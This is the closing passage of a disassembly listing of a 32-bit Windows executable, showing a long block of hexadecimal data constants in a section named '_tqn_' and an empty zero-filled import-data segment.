		dd 44A298C1h, 0E913904Ch, 36A48979h, 0C742B773h, 0C1B3BAD9h
		dd 0E8CE1255h, 236911D1h, 80220F91h, 0CD8A6491h, 90F4E5C6h
		dd 0A9D21D82h, 35E4FF61h, 0EDABBA60h, 0A90F4A7Fh, 55B880FDh
		dd 7BA9CFD9h, 19CC9029h, 0AC639FF9h, 0BFE3646h,	119AB9A9h
		dd 0F844E1E2h, 0CEB107ECh, 0D894E48Fh, 0E1926D41h, 0FA491A2Eh
		dd 0AF2008A8h, 2074EFBAh, 0C3517DCEh, 0DD6B8B6Ch, 8D5555C4h
		dd 0CE13006Dh, 5C6B762Fh, 32A112F6h, 22A9141Ch,	0FACA3FADh
		dd 0DA71328Bh, 0D03CD89Eh, 0E370D38Dh, 92A1AC51h, 9865B095h
		dd 72BCA399h, 265FDDB6h, 0D5F9346Dh, 8024F018h,	3D365199h
		dd 26F159BAh, 5684F646h, 0CDB94F33h, 96E4EAD2h,	32A99085h
		dd 0C576BB32h, 0C9B9047Dh, 9947145Fh, 0AEC7750Bh, 0B8CD6F00h
		dd 863C6521h, 0E789FD83h, 0CDF43216h, 0B58CEF6Eh, 0B6AE2BB0h
		dd 0A99CF294h, 391575C0h, 70C1100Bh, 40C05376h,	326D429Eh
		dd 16BA1C0Bh, 79143236h, 0DFAD681Ch, 15B904F0h,	1D327BC0h
		dd 408B95F3h, 408EB794h, 7BA4F818h, 31CEF749h, 0D1E7FFFDh
		dd 3BE76C55h, 0A6153E96h, 0D5F86CA7h, 0CD8540B9h, 0B631F97Ah
		dd 8820D956h, 39EB39BDh, 0BA594DC0h, 9486026h, 46BDF006h
		dd 0FAACEBBDh, 2E405884h, 0EB42523Fh, 11595AF5h, 0C2C564F2h
		dd 325283B9h, 0C0768442h, 341AD851h, 300D38E8h,	0EE416DA1h
		dd 212E2CCEh, 0FB41E8A5h, 0BE8E3E88h, 0D2F2F650h, 705B4244h
		dd 21C2C029h, 89CD63A6h, 8128C83Fh, 0BF4DE0A9h,	2D61327Fh
		dd 4DDDE0ADh, 2DAA647Dh, 0AE92E49Dh, 4866BE7Ah,	0E156531Dh
		dd 0C4257552h, 0D5A5606Dh, 255262Eh, 4B7BCE43h,	0C9AE8CD4h
		dd 0A9203031h, 0CD117B22h, 0D2E1A7C9h, 0E072FF4Eh, 0D7230185h
		dd 0CDE51FC9h, 0B9DA791Eh, 0FC936D28h, 0F756EC6Bh, 0A4DA6E0Ch
		dd 0A4DB741Eh, 0CD876723h, 5581ED7Eh, 0EC55BC87h, 0C99F38CAh
		dd 0EC63DC63h, 14EE065h, 336DE61Fh, 9C3219ECh, 0DC0DAF64h
		dd 599D641h, 2479C70Bh,	0FB8F9D01h, 0DBC4A793h,	0F120381Ch
		dd 93205F72h, 171E0F5h,	46F76EC0h, 99AB2C4Ch, 0D494D919h
		dd 0B855FC14h, 0BF894F1Fh, 95560FFCh, 0D3C0FBCh, 9DA8E0CEh
		dd 33454D2Ch, 0C05AD73h, 0A43F8414h, 803D8C2Fh,	0C6F2DBFAh
		dd 8C220824h, 0A99A0200h, 0B2C74833h, 4E081F9Bh, 49D9FE4Eh
		dd 0CC19388Dh, 8A725DB0h, 53B10AAh, 8923C08Fh, 0C712C840h
		dd 1212FF46h, 365E9954h, 0C0216149h, 0CF50830Ch, 886FE633h
		dd 0D350086h, 0F7E26894h, 7BD40F56h, 4B2E0B9Fh,	550295Fh
		dd 0A6936A1Fh, 0E8195DD3h, 58571E6Dh, 6A332227h, 339D046Ch
		dd 0E8267C81h, 0EDA71E80h, 0FB165D51h, 0CD75EF8Fh, 0C2B85D74h
		dd 2C2AC1D9h, 33F8074Ch, 811EC97Fh, 0E19042C8h,	0AD8B93B9h
		dd 54A45457h, 0A7EB5853h, 26502E7Dh, 94A5B263h,	21DB405Eh
		dd 0ECC94C9Dh, 4E92E05Eh, 0D9D60A7Ch, 0FE738BBCh, 1AA05C54h
		dd 77A88657h, 0A2BE9E56h, 0C495671h, 0C0039F49h, 0A695B84Dh
		dd 0B69C8CD3h, 77351108h, 0C29F3385h, 0DD6F8321h, 74B3CBF0h
		dd 7ECEC6C5h, 0CC7E6F46h, 491F111Ch
_tqn_		ends

; Section 6. (virtual address 00208000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00208000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 608000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start